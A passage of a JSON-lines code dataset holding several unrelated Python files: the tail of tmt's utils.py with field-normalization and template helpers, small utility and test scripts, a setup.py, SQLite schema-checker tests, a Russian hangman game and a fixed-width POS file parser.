str(with_getattr), level=4, shift=1)\n        logger.debug('current value (__dict__)', str(with_dict), level=4, shift=1)\n\n        if value != with_getattr or with_getattr != with_dict:\n            logger.debug('known values do not match', level=4, shift=2)\n\n    # Set attribute by adding it to __dict__ directly. Messing with setattr()\n    # might cause re-use of mutable values by other instances.\n    container.__dict__[keyname] = value\n\n    return value\n\n\ndef normalize_string_list(\n        value: Union[None, str, List[str]],\n        logger: tmt.log.Logger) -> List[str]:\n    \"\"\"\n    Normalize a string-or-list-of-strings input value.\n\n    This is a fairly common input format present mostly in fmf nodes where\n    tmt, to make things easier for humans, allows this:\n\n    .. code-block:: yaml\n\n       foo: bar\n\n       foo:\n         - bar\n         - baz\n\n    Internally, we should stick to one type only, and make sure whatever we get\n    on the input, a list of strings would be the output.\n\n    :param value: input value from key source.\n    \"\"\"\n\n    if value is None:\n        return []\n\n    return [value] if isinstance(value, str) else value\n\n\ndef normalize_path_list(\n        value: Union[None, str, List[str]],\n        logger: tmt.log.Logger) -> List[Path]:\n    \"\"\"\n    Normalize a path-or-list-of-paths input value.\n\n    This is a fairly common input format present mostly in fmf nodes where\n    tmt, to make things easier for humans, allows this:\n\n    .. code-block:: yaml\n\n       foo: /foo/bar\n\n       foo:\n         - /foo/bar\n         - /baz\n\n    Internally, we should stick to one type only, and make sure whatever we get\n    on the input, a list of strings would be the output.\n\n    :param value: input value from key source.\n    \"\"\"\n\n    if value is None:\n        return []\n\n    if isinstance(value, str):\n        return [Path(value)]\n\n    if isinstance(value, (list, tuple)):\n        return [Path(path) for path in value]\n\n    # TODO: propagate field name down to normalization callbacks for better exceptions\n    raise SpecificationError(\n        f\"Field can be either path or list of paths, '{type(value).__name__}' found.\")\n\n\ndef normalize_shell_script_list(\n        value: Union[None, str, List[str]],\n        logger: tmt.log.Logger) -> List[ShellScript]:\n    \"\"\"\n    Normalize a string-or-list-of-strings input value.\n\n    This is a fairly common input format present mostly in fmf nodes where\n    tmt, to make things easier for humans, allows this:\n\n    .. code-block:: yaml\n\n       foo: bar\n\n       foo:\n         - bar\n         - baz\n\n    Internally, we should stick to one type only, and make sure whatever we get\n    on the input, a list of strings would be the output.\n\n    :param value: input value from key source.\n    \"\"\"\n\n    if value is None:\n        return []\n\n    if isinstance(value, str):\n        return [ShellScript(value)]\n\n    if isinstance(value, (list, tuple)):\n        return [ShellScript(str(item)) for item in value]\n\n    # TODO: propagate field name down to normalization callbacks for better exceptions\n    raise SpecificationError(\n        f\"Field can be either string or list of strings, '{type(value).__name__}' found.\")\n\n\nclass NormalizeKeysMixin(_CommonBase):\n    \"\"\"\n    Mixin adding support for loading fmf keys into object attributes.\n\n    When invoked, annotated class-level variables are searched for in a given source\n    container - a mapping, an fmf node, etc. - and if the key of the same name as the\n    variable exists, its value is \"promoted\" to instance variable.\n\n    If a method named ``_normalize_<variable name>`` exists, it is called with the fmf\n    key value as its single argument, and its return value is assigned to instance\n    variable. This gives class chance to modify or transform the original value when\n    needed, e.g. to convert the original value to a type more suitable for internal\n    processing.\n    \"\"\"\n\n    # If specified, keys would be iterated over in the order as listed here.\n    KEYS_SHOW_ORDER: List[str] = []\n\n    # NOTE: these could be static methods, self is probably useless, but that would\n    # cause complications when classes assign these to their members. That makes them\n    # no longer static as far as class is concerned, which means they get called with\n    # `self` as the first argument. A workaround would be to assign staticmethod()-ized\n    # version of them, but that's too much repetition.\n    #\n    # TODO: wouldn't it be nice if these could be mention in dataclass.field()?\n    # It would require a clone of dataclass.field() though.\n    def _normalize_string_list(\n            self,\n            value: Union[None, str, List[str]],\n            logger: tmt.log.Logger) -> List[str]:\n        if value is None:\n            return []\n\n        if isinstance(value, str):\n            return [value]\n\n        if isinstance(value, (list, tuple)):\n            return [item for item in value]\n\n        raise SpecificationError(\n            f\"Field can be either string or list of strings, '{type(value).__name__}' found.\")\n\n    def _normalize_environment(\n            self,\n            value: Optional[Dict[str, Any]],\n            logger: tmt.log.Logger) -> EnvironmentType:\n        if value is None:\n            return {}\n\n        return {\n            name: str(value) for name, value in value.items()\n            }\n\n    def _normalize_script(\n            self,\n            value: Union[None, str, List[str]],\n            logger: tmt.log.Logger) -> List[ShellScript]:\n        \"\"\" Normalize inputs to a list of shell scripts \"\"\"\n\n        return normalize_shell_script_list(value, logger)\n\n    @classmethod\n    def _iter_key_annotations(cls) -> Generator[Tuple[str, Any], None, None]:\n        \"\"\"\n        Iterate over keys' type annotations.\n\n        Keys are yielded in the order: keys declared by parent classes first, then\n        keys declared by the class itself, all following the order in which keys\n        were defined in their respective classes.\n\n        Yields:\n            pairs of key name and its annotations.\n        \"\"\"\n\n        def _iter_class_annotations(klass: type) -> Generator[Tuple[str, Any], None, None]:\n            # Skip, needs fixes to become compatible\n            if klass is Common:\n                return\n\n            for name, value in klass.__dict__.get('__annotations__', {}).items():\n                # Skip special fields that are not keys.\n                if name == 'KEYS_SHOW_ORDER':\n                    continue\n\n                yield (name, value)\n\n        # Reverse MRO to start with the most base classes first, to iterate over keys\n        # in the order they are defined.\n        for klass in reversed(cls.__mro__):\n            yield from _iter_class_annotations(klass)\n\n    @classmethod\n    def keys(cls) -> Generator[str, None, None]:\n        \"\"\"\n        Iterate over key names.\n\n        Keys are yielded in the order: keys declared by parent classes first, then\n        keys declared by the class itself, all following the order in which keys\n        were defined in their respective classes.\n\n        Yields:\n            key names.\n        \"\"\"\n\n        for keyname, _ in cls._iter_key_annotations():\n            yield keyname\n\n    def items(self) -> Generator[Tuple[str, Any], None, None]:\n        \"\"\"\n        Iterate over keys and their values.\n\n        Keys are yielded in the order: keys declared by parent classes first, then\n        keys declared by the class itself, all following the order in which keys\n        were defined in their respective classes.\n\n        Yields:\n            pairs of key name and its value.\n        \"\"\"\n\n        for keyname in self.keys():\n            yield (keyname, getattr(self, keyname))\n\n    # TODO: exists for backward compatibility for the transition period. Once full\n    # type annotations land, there should be no need for extra _keys attribute.\n    @classmethod\n    def _keys(cls) -> List[str]:\n        \"\"\" Return a list of names of object's keys. \"\"\"\n\n        return list(cls.keys())\n\n    def _load_keys(\n            self,\n            key_source: Dict[str, Any],\n            key_source_name: str,\n            logger: tmt.log.Logger) -> None:\n        \"\"\" Extract values for class-level attributes, and verify they match declared types. \"\"\"\n\n        LOG_SHIFT, LOG_LEVEL = 2, 4\n\n        debug_intro = functools.partial(logger.debug, shift=LOG_SHIFT - 1, level=LOG_LEVEL)\n        debug = functools.partial(logger.debug, shift=LOG_SHIFT, level=LOG_LEVEL)\n\n        debug_intro('key source')\n        for k, v in key_source.items():\n            debug(f'{k}: {v} ({type(v)})')\n\n        debug('')\n\n        for keyname, keytype in self._iter_key_annotations():\n            key_address = f'{key_source_name}:{keyname}'\n            source_keyname = key_to_option(keyname)\n\n            # Do not indent this particular entry like the rest, so it could serve\n            # as a \"header\" for a single key processing.\n            debug_intro('key', key_address)\n            debug('field', source_keyname)\n\n            debug('desired type', str(keytype))\n\n            value: Any = None\n\n            # Verbose, let's hide it a bit deeper.\n            debug('dict', self.__dict__, level=LOG_LEVEL + 1)\n\n            if hasattr(self, keyname):\n                # If the key exists as instance's attribute already, it is because it's been\n                # declared with a default value, and the attribute now holds said default value.\n                default_value = getattr(self, keyname)\n\n                # If the default value is a mutable container, we cannot use it directly.\n                # Should we do so, the very same default value would be assigned to multiple\n                # instances/attributes instead of each instance having its own distinct container.\n                if isinstance(default_value, (list, dict)):\n                    debug('detected mutable default')\n                    default_value = copy.copy(default_value)\n\n                debug('default value', str(default_value))\n                debug('default value type', str(type(default_value)))\n\n                # try+except seems to work better than get(), especially when\n                # semantic of fmf.Tree.get() is slightly different than that\n                # of dict().get().\n                try:\n                    value = key_source[source_keyname]\n\n                except KeyError:\n                    value = default_value\n\n                debug('raw value', str(value))\n                debug('raw value type', str(type(value)))\n\n            else:\n                value = key_source.get(source_keyname)\n\n                debug('raw value', str(value))\n                debug('raw value type', str(type(value)))\n\n            value = dataclass_normalize_field(self, keyname, value, logger)\n\n            debug('final value', str(value))\n            debug('final value type', str(type(value)))\n\n            # Apparently pointless, but makes the debugging output more readable.\n            # There may be plenty of tests and plans and keys, a bit of spacing\n            # can't hurt.\n            debug('')\n\n        debug_intro('normalized fields')\n        for k, v in self.__dict__.items():\n            debug(f'{k}: {v} ({type(v)})')\n\n        debug('')\n\n    def __init__(self, **kwargs: Any) -> None:\n        super().__init__(**kwargs)\n\n\nclass LoadFmfKeysMixin(NormalizeKeysMixin):\n    def __init__(\n            self,\n            *,\n            node: fmf.Tree,\n            logger: tmt.log.Logger,\n            **kwargs: Any) -> None:\n        self._load_keys(node.get(), node.name, logger)\n\n        super().__init__(node=node, logger=logger, **kwargs)\n\n\nFieldCLIOption = Union[str, Sequence[str]]\n\n\n@overload\ndef field(\n        *,\n        default: bool,\n        # Options\n        option: Optional[FieldCLIOption] = None,\n        is_flag: bool = True,\n        choices: Union[None, Sequence[str], Callable[[], Sequence[str]]] = None,\n        multiple: bool = False,\n        metavar: Optional[str] = None,\n        help: Optional[str] = None,\n        # Input data normalization - not needed, the field is a boolean\n        # flag.\n        # normalize: Optional[NormalizeCallback[T]] = None\n        # Custom serialization\n        # serialize: Optional[SerializeCallback[bool]] = None,\n        # unserialize: Optional[UnserializeCallback[bool]] = None\n        ) -> bool:\n    pass\n\n\n@overload\ndef field(\n        *,\n        default: T,\n        # Options\n        option: Optional[FieldCLIOption] = None,\n        is_flag: bool = False,\n        choices: Union[None, Sequence[str], Callable[[], Sequence[str]]] = None,\n        multiple: bool = False,\n        metavar: Optional[str] = None,\n        help: Optional[str] = None,\n        # Input data normalization\n        normalize: Optional[NormalizeCallback[T]] = None,\n        # Custom serialization\n        serialize: Optional[SerializeCallback[T]] = None,\n        unserialize: Optional[UnserializeCallback[T]] = None\n        ) -> T:\n    pass\n\n\n@overload\ndef field(\n        *,\n        default_factory: Callable[[], T],\n        # Options\n        option: Optional[FieldCLIOption] = None,\n        is_flag: bool = False,\n        choices: Union[None, Sequence[str], Callable[[], Sequence[str]]] = None,\n        multiple: bool = False,\n        metavar: Optional[str] = None,\n        help: Optional[str] = None,\n        # Input data normalization\n        normalize: Optional[NormalizeCallback[T]] = None,\n        # Custom serialization\n        serialize: Optional[SerializeCallback[T]] = None,\n        unserialize: Optional[UnserializeCallback[T]] = None\n        ) -> T:\n    pass\n\n\ndef field(\n        *,\n        default: Any = dataclasses.MISSING,\n        default_factory: Any = dataclasses.MISSING,\n        # Options\n        option: Optional[FieldCLIOption] = None,\n        is_flag: bool = False,\n        choices: Union[None, Sequence[str], Callable[[], Sequence[str]]] = None,\n        multiple: bool = False,\n        metavar: Optional[str] = None,\n        help: Optional[str] = None,\n        # Input data normalization\n        normalize: Optional[NormalizeCallback[T]] = None,\n        # Custom serialization\n        serialize: Optional[SerializeCallback[T]] = None,\n        unserialize: Optional[UnserializeCallback[T]] = None\n        ) -> Any:\n    \"\"\"\n    Define a :py:class:`DataContainer` field.\n\n    Effectively a fancy wrapper over :py:func:`dataclasses.field`, tailored for\n    tmt code needs and simplification of various common tasks.\n\n    :param default: if provided, this will be the default value for this field.\n        Passed directly to :py:func:`dataclass.field`.\n        It is an error to specify both ``default`` and ``default_factory``.\n    :param default_factory: if provided, it must be a zero-argument callable\n        that will be called when a default value is needed for this field.\n        Passed directly to :py:func:`dataclass.field`.\n        It is an error to specify both ``default`` and ``default_factory``.\n    :param option: one or more command-line option names.\n        Passed directly to :py:func:`click.option`.\n    :param is_flag: marks this option as a flag.\n        Passed directly to :py:func:`click.option`.\n    :param choices: if provided, the command-line option would accept only\n        the listed input values.\n        Passed to :py:func:`click.option` as a :py:class:`click.Choice` instance.\n    :param metavar: how the input value is represented in the help page.\n        Passed directly to :py:func:`click.option`.\n    :param help: the help string for the command-line option.\n        Passed directly to :py:func:`click.option`.\n    :param normalize: a callback for normalizing the input value. Consumed by\n        :py:class:`NormalizeKeysMixin`.\n    :param serialize: a callback for custom serialization of the field value.\n        Consumed by :py:class:`SerializableKeysMixin`.\n    :param unserialize: a callback for custom unserialization of the field value.\n        Consumed by :py:class:`SerializableKeysMixin`.\n    \"\"\"\n\n    if default is dataclasses.MISSING and default_factory is dataclasses.MISSING:\n        raise GeneralError(\"Container field must define one of 'default' or 'default_factory'.\")\n\n    metadata: FieldMetadata[T] = FieldMetadata()\n\n    if option:\n        assert is_flag is False or isinstance(default, bool)\n\n        metadata.option_args = (option,) if isinstance(option, str) else option\n        metadata.option_kwargs = {\n            'is_flag': is_flag,\n            'multiple': multiple,\n            'metavar': metavar,\n            'help': help\n            }\n        metadata.option_choices = choices\n\n        if default is not dataclasses.MISSING and not is_flag:\n            metadata.option_kwargs['default'] = default\n\n    if normalize:\n        metadata.normalize_callback = normalize\n\n    metadata.serialize_callback = serialize\n    metadata.unserialize_callback = unserialize\n\n    # ignore[call-overload]: returning \"wrong\" type on purpose. field() must be annotated\n    # as if returning the value of type matching the field declaration, and the original\n    # field() is called with wider argument types than expected, because we use our own\n    # overloading to narrow types *our* custom field() accepts.\n    return dataclasses.field(  # type: ignore[call-overload]\n        default=default,\n        default_factory=default_factory,\n        metadata={'tmt': metadata}\n        )\n\n\ndef default_template_environment() -> jinja2.Environment:\n    \"\"\"\n    Create a Jinja2 environment with default settings.\n\n    Adds common filters, and enables block trimming and left strip.\n    \"\"\"\n\n    environment = jinja2.Environment()\n\n    environment.filters['findall'] = lambda s, pattern: re.findall(pattern, s)\n    environment.filters['listed'] = fmf.utils.listed\n    environment.filters['strip'] = lambda x: x.strip()\n    environment.filters['search'] = lambda string, pattern: re.search(pattern, string)\n    environment.filters['match'] = lambda string, pattern: re.search(pattern, string)\n    environment.filters['regex_replace'] = lambda string, pattern, repl: re.sub(\n        pattern, repl, string)\n\n    environment.trim_blocks = True\n    environment.lstrip_blocks = True\n\n    return environment\n\n\ndef render_template_file(\n        template_filepath: Path,\n        environment: Optional[jinja2.Environment] = None,\n        **variables: Any\n        ) -> str:\n    \"\"\" Render a template read from a file \"\"\"\n\n    environment = environment or default_template_environment()\n\n    try:\n        template = environment.from_string(template_filepath.read_text())\n\n        return cast(str, template.render(**variables).strip())\n\n    except jinja2.exceptions.TemplateSyntaxError as exc:\n        raise GeneralError(\n            f\"Could not parse template '{template_filepath}' at line {exc.lineno}.\") from exc\n\n    except jinja2.exceptions.TemplateError as exc:\n        raise GeneralError(f\"Could not render template '{template_filepath}'.\") from exc\n","repo_name":"danmyway/tmt","sub_path":"tmt/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":149365,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"21"}
+{"seq_id":"73442388853","text":"import itertools\r\n\r\n\r\ndef group_in_10s(*args):\r\n    groups = [] if len(args) == 0 else [None] * (max(args) // 10 + 1)\r\n    for idx, group in itertools.groupby(sorted(args), lambda item: item // 10):\r\n        groups[idx] = list(group)\r\n    return groups\r\n\r\n\r\nif __name__ == '__main__':\r\n    print(group_in_10s(10, 32, 12, 45, 36, 9, 22, 14, 4, 27))\r\n    print(group_in_10s(4, 78, 71, 3))\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"Ashot5-zz/www","sub_path":"group_in_tens.py","file_name":"group_in_tens.py","file_ext":"py","file_size_in_byte":398,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"9884141778","text":"from task import TaskList\r\n\r\n\r\ndef test_task_list():\r\n    task_list = TaskList()\r\n    task_list.add_task(\"faire projet taskList\", \"expliquer le code\")\r\n    task_list.add_task(\"faire projet max rover\", \"expliquer choix des outils\")\r\n    task_list.mark_task_as_done(\"faire projet taskList\")\r\n\r\n    tasks = task_list.get_all_tasks()\r\n    not_done_tasks = task_list.get_all_not_done_tasks()\r\n    done_tasks = task_list.get_all_done_tasks()\r\n\r\n    # Tester que les bonne tâches sont renvoyés\r\n    assert \"faire projet taskList - fait: expliquer le code\" in tasks\r\n    assert \"faire projet max rover - pas fait: expliquer choix des outils\" in tasks\r\n    assert \"faire projet taskList - fait: expliquer le code\" in done_tasks\r\n    assert \"faire projet max rover - pas fait: expliquer choix des outils\" in not_done_tasks\r\n\r\n\"\"\"\r\nCe code crée une instance de la classe TaskList, ajoute deux tâche, \r\nmarque une tâche comme terminé, puis vérifie que les méthodes get_all_tasks, \r\nget_all_not_done_tasks et get_all_done_tasks retournent les tâches correcte en utilisant les assert. \r\n\r\n\"\"\"\r\n","repo_name":"seifnaimi/Taask_List","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1089,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"2390450156","text":"#!/usr/bin/env python3\nimport os\nfrom setuptools import setup\n\nproject = 'bottle_yaap'\n\n\ndef _read(fname):\n    try:\n        return open(os.path.join(os.path.dirname(__file__), fname)).read()\n    except IOError:\n        return ''\n\n\nsetup(\n    name=project,\n    version='1.0',\n    author='Pieter Vermeylen',\n    author_email='pieter@somnolenta.net',\n    description=\"Yet Another Authorization Plugin (for Bottle)\",\n    long_description=_read('README.rst'),\n    url=f'https://www.somnolentia.net/code/{project}',\n    keywords=\"\",\n    license='MIT',\n    platforms=('Any'),\n    classifiers=[\n        'Intended Audience :: Developers',\n        'Programming Language :: Python :: 3',\n        'Topic :: Software Development :: Libraries :: Python Modules',\n        'Topic :: Utilities',\n    ],\n    py_modules=[project],\n    install_requires=[\n        'bottle',\n        'passlib',\n        'argon2-cffi',\n    ],\n    extras_require={\n        'dev': ['pytest'],\n        'cli': ['Click']\n    },\n    entry_points={\n        'console_scripts': ['bottle-yaap=bottle_yaap:cli'],\n    },\n)\n","repo_name":"somnolentia/bottle_yaap","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1070,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"21817839883","text":"import context\r\nimport logging\r\n\r\nfrom PySide import QtSql\r\n\r\nfrom iknow.databaseConnection import DatabaseConnection\r\nfrom iknow.sqlDBChecker import SqlDBChecker\r\n\r\n\r\ndatabaseStructure1 = {\"knowledge\": [{\"fieldName\": \"ID\", \"type\": \"INDEX\"},\r\n                                    {\"fieldName\": \"title\", \"type\": \"VARCHAR\"},\r\n                                    {\"fieldName\": \"description\", \"type\": \"TEXT\", \"mayBeZero\": True},\r\n                                    {\"fieldName\": \"author\", \"type\": \"VARCHAR\", \"default\": \"jan\"},\r\n                                    {\"fieldName\": \"created\", \"type\": \"DATETIME\", \"mayBeZero\": True}]\r\n                      }\r\n\r\n\r\ndatabaseStructure2 = {\"knowledge\": [{\"fieldName\": \"ID\", \"type\": \"INDEX\"},\r\n                                    {\"fieldName\": \"title\", \"type\": \"VARCHAR\"},\r\n                                    {\"fieldName\": \"description\", \"type\": \"TEXT\", \"mayBeZero\": True},\r\n                                    {\"fieldName\": \"author\", \"type\": \"VARCHAR\", \"default\": \"jan\"},\r\n                                    {\"fieldName\": \"created\", \"type\": \"DATETIME\", \"mayBeZero\": True}],\r\n                      \"foo\": [{\"fieldName\": \"ID\", \"type\": \"INDEX\"},\r\n                              {\"fieldName\": \"bar\", \"type\": \"VARCHAR\"}]\r\n                      }\r\n\r\n\r\ncreateKnowledgeSQL = '''CREATE TABLE \"knowledge\" (\"ID\" INTEGER PRIMARY KEY NOT NULL UNIQUE,\r\n                        \"title\" VARCHAR NOT NULL,\r\n                        \"description\" TEXT,\r\n                        \"author\" VARCHAR NOT NULL,\r\n                        \"created\" DATETIME);'''\r\n\r\n\r\ncreateIncompleteKnowledgeSQL = '''CREATE TABLE \"knowledge\" (\"ID\" INTEGER PRIMARY KEY NOT NULL UNIQUE,\r\n                                  \"description\" TEXT);'''\r\n\r\n\r\nclass TestSqlDBChecker:\r\n    def connectToDB(self):\r\n        self.dbConnection = DatabaseConnection(databaseName=\":memory:\", driver=\"QSQLITE\")\r\n        self.dbConnection.connect()\r\n\r\n    def init1(self):\r\n        self.connectToDB()\r\n\r\n        query = QtSql.QSqlQuery(self.dbConnection.db)\r\n        query.exec_(createKnowledgeSQL)\r\n\r\n        self.createSqlChecker()\r\n\r\n    def init2(self):\r\n        self.connectToDB()\r\n\r\n        query = QtSql.QSqlQuery(self.dbConnection.db)\r\n        query.exec_(createIncompleteKnowledgeSQL)\r\n\r\n        self.createSqlChecker()\r\n\r\n    def createSqlChecker(self):\r\n        self.sqlDBChecker1 = SqlDBChecker(self.dbConnection.db, databaseStructure1)\r\n        self.sqlDBChecker2 = SqlDBChecker(self.dbConnection.db, databaseStructure2)\r\n\r\n    def test_tablesComplete(self):\r\n        self.init1()\r\n        assert self.sqlDBChecker1.tablesComplete() is True\r\n        assert self.sqlDBChecker2.tablesComplete() is False\r\n\r\n        self.sqlDBChecker2.createTable(\"foo\")\r\n        assert self.sqlDBChecker2.tablesComplete() is True\r\n\r\n    def test_tableFieldsComplete(self):\r\n        # Init with complete knowledge table\r\n        self.init1()\r\n\r\n        assert self.sqlDBChecker1.tableFieldsComplete(\"knowledge\") is True\r\n        self.sqlDBChecker1.repairTable(\"knowledge\")\r\n\r\n        assert self.sqlDBChecker1.tableFieldsComplete(\"knowledge\") is True\r\n\r\n        # Init with incomplete knowledge table\r\n        self.init2()\r\n        assert self.sqlDBChecker1.tableFieldsComplete(\"knowledge\") is False\r\n\r\n        self.sqlDBChecker1.repairTable(\"knowledge\")\r\n\r\n        assert self.sqlDBChecker1.tableFieldsComplete(\"knowledge\") is True\r\n\r\n    def test_SqlQueryForField(self):\r\n        self.init1()\r\n        assert self.sqlDBChecker1.sqlQueryForField(\"knowledge\", \"ID\") == '\"ID\" INTEGER PRIMARY KEY NOT NULL UNIQUE'\r\n        assert self.sqlDBChecker1.sqlQueryForField(\"knowledge\", \"title\") == '\"title\" VARCHAR NOT NULL DEFAULT \"\"'\r\n        assert self.sqlDBChecker1.sqlQueryForField(\"knowledge\", \"description\") == '\"description\" TEXT'\r\n        assert self.sqlDBChecker1.sqlQueryForField(\"knowledge\", \"author\") == '\"author\" VARCHAR NOT NULL DEFAULT \"jan\"'\r\n        assert self.sqlDBChecker1.sqlQueryForField(\"knowledge\", \"created\") == '\"created\" DATETIME'\r\n\r\n    def test_sqlCreateTable(self):\r\n        self.init1()\r\n        assert self.sqlDBChecker1.sqlCreateTable(\"knowledge\") == 'CREATE TABLE \"knowledge\" (\"ID\" INTEGER PRIMARY KEY NOT NULL UNIQUE, \"title\" VARCHAR NOT NULL DEFAULT \"\", \"description\" TEXT, \"author\" VARCHAR NOT NULL DEFAULT \"jan\", \"created\" DATETIME);'\r\n","repo_name":"j-kallwies/IKnow","sub_path":"tests/test_sqlDBChecker.py","file_name":"test_sqlDBChecker.py","file_ext":"py","file_size_in_byte":4335,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"}
+{"seq_id":"70114453492","text":"#Returning the fraction in it's irreducible form\n\ndef simplify_fraction(fraction):\n\tdiv = 2\n\twhile div <= fraction[0]:\n\t\twhile fraction[0] % div == 0 and fraction[1] % div == 0:\n\t\t\tfraction = (int(fraction[0] / div), int(fraction[1] / div))\n\t\tdiv += 1\n\treturn fraction\n\n","repo_name":"DesislavaDimitrova/HackBulgaria","sub_path":"week0/2-Python-harder-problems-set /07.Simplify_fraction.py","file_name":"07.Simplify_fraction.py","file_ext":"py","file_size_in_byte":270,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"13081688283","text":"# игра висилица\n\nprint('Привет\\n Это игра под название \"Висилица\"\\n Суть игры угадать слово по буквам, количество попыток ограничено! \\n Поехали!')\n\n# задаем слово которое будет отгадывать игрок\nsecret_word =  'Сутолока' #input('Введите секретное слово : ')\n\n# прописываем состояния висилицы\nstages = [\n    '    +---+ \\n    0   | \\n   /|\\  | \\n   / \\  | \\n       ---',\n    '    +---+ \\n    0   | \\n   /|\\  | \\n   /    | \\n       ---',\n    '    +---+ \\n    0   | \\n   /|\\  | \\n        | \\n       ---',\n    '    +---+ \\n    0   | \\n   /|   | \\n        | \\n       ---',\n    '    +---+ \\n    0   | \\n    |   | \\n        | \\n       ---',\n    '    +---+ \\n    0   | \\n        | \\n        | \\n       ---',\n    '    +---+ \\n        | \\n        | \\n        | \\n       ---',\n]\n# переменаая отслеживающая количество ошибок игрока\nmistakes = 0\n# массив в котором будут хранится все нерпавильные буквы игрока\nwrong_letters = []\n# массив в котром будут хранится буквы которые угадал игрок\nnew_letter = []\n# заполнение массива прочерками \nfor i in range(len(secret_word)):\n    new_letter.insert(0, '_')\n\n# функция отвечающая за вывод различных сообщений\ndef print_result(text):\n    print()\n    print('----------')\n    print()\n    print(text)\n    print()\n    print('----------')\n    print()\n\n# функция для правильным ответом\ndef right_answer():\n    print_result('Верная буква!')\n    print_info()\n\n# функция для неправильного ответа\ndef wrong_answer(letter):\n    global mistakes\n\n    # соединяем массив в строку чтобы можно было проверить есть ли в нем повторяющиеся неверные буквы\n    wrong_letters_string = ''.join(wrong_letters)\n    # проверяем на наличие повторов\n    if letter in wrong_letters_string:\n        print_result('Такая буква уже есть!')\n        print_info()\n    else:\n        wrong_letters.insert(-1, letter + ' ')\n\n        print_result('Неверная буква!')\n\n        mistakes += 1\n        # отслеживание пройгрыша игрока\n        if(mistakes+1 < len(stages)):\n            print_info()\n        else:\n            print_result('К сожалению вы проиграли!')\n            exit()\n    \n# основная функция\ndef print_info():\n    # выводим висилицу на экран\n    print(stages[mistakes])\n\n    # выводим то что уже угадал игрок\n    print('Слово : ')\n    print(' '.join(new_letter))\n\n    # выводим неверные буквы игрока\n    print('Неверные буквы : ')\n    wrong_letters_string = ', '.join(wrong_letters)\n    print(wrong_letters_string)\n    \n    ask_letter = input('Введите букву : ')\n\n    # проверяем чтобы игрок не ввел больше 1 символа\n    if len(ask_letter) > 1:\n        print_result('Введите только 1 символ!')\n        print_info()\n    else:\n        # переводим загаданное слово в массив чтобы проверить угадал ли игрок букву\n        secret_word_array = list(secret_word)\n        # переменная костыль, чтобы приводить буквы к одному регистру и в дальнейшем их сравнивать\n        right_answer_status = False\n\n        for i in range(len(secret_word_array)):\n            if ask_letter.lower() == secret_word_array[int(i)].lower():\n                right_answer_status = True\n                # заменяем прочерк на угаданную букву\n                new_letter[i] = ask_letter\n                # отслеживание победы игрока\n                if ('_' not in new_letter):\n                    print_result('Поздравляю, вы выйграли! Слово - ' + secret_word\n                    )\n                    exit()\n            else: \n                if right_answer_status == True:\n                    pass\n                else:\n                    right_answer_status = False\n\n        # выводим игрока информацию про букву\n        if (ask_letter in secret_word) or (right_answer_status):\n            right_answer()\n        else:\n            wrong_answer(ask_letter)\n\nprint_info()\n","repo_name":"BlENdER123/git_tutorial","sub_path":"python_files/python/pygame/2game/script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":4832,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"72649847732","text":"import sys, os\nfrom datetime import datetime as dt\n\nwd = \"C:\\\\Users\\\\bmareddy\\\\Documents\\\\PyLab\"\ndataFile = wd+\"\\\\SamplePOSFile_1M.txt\"\nitemFile = wd+\"\\\\SampleItemFile_1M.txt\"\ndiscountFile = wd+\"\\\\SampleDiscountFile_1M.txt\"\n\nfixed_width_delimiters = {49:(2,1,5,4,4,19,8,6),83:(2,1,14,10,10,10,1,2,7,12,14),112:(2,1,1,22,14,10,10,14,12,7,12,7),12:(2,10)}\nline_type = {49: \"Header\",83:\"Item\",112:\"Discount\",12:\"Trailer\"}\nlineitem, linediscount = [], []\nheader, trailer = (), ()\ntry:\n    start_time = dt.today()\n    itemdata = open(itemFile,'w',newline=\"\\n\")\n    discountdata = open(discountFile,'w',newline=\"\\n\")\n    rawdata = open(dataFile,'r',newline=\"\\n\")\n    for line in rawdata.read().splitlines():\n        line_length = len(line)\n        slicer = 0\n        fields = ()\n        for j in fixed_width_delimiters[line_length]:\n            fields = fields + (line[slicer:slicer+j],)\n            slicer = slicer+j\n        if line_type[line_length] == \"Header\":\n            header = fields\n        if line_type[line_length] == \"Item\":\n            lineitem.append(fields)\n        if line_type[line_length] == \"Discount\":\n            linediscount.append(fields)\n        if line_type[line_length] == \"Trailer\":\n            trailer = fields\n            for li in lineitem:\n                itemdata.write(\",\".join(str(s) for s in header+li+trailer) + \"\\n\")\n            for ld in linediscount:\n                discountdata.write(\",\".join(str(s) for s in header+ld+trailer) + \"\\n\")\n            lineitem.clear()\n            linediscount.clear()\n    rawdata.close()\n    itemdata.close()\n    discountdata.close()\n    end_time = dt.today()\n    run_time = end_time - start_time\n    print(\"[Finished in {} days, {} secs]\".format(run_time.days,run_time.seconds))\nexcept Exception as e:\n    exc_type, exc_obj, exc_tb = sys.exc_info()\n    print(\"Error Type: {}, Line Number: {}, Message: {}\".format(exc_type,exc_tb.tb_lineno,e))","repo_name":"bmareddy/pyscratch","sub_path":"94_process_fixedwidth_file.py","file_name":"94_process_fixedwidth_file.py","file_ext":"py","file_size_in_byte":1909,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
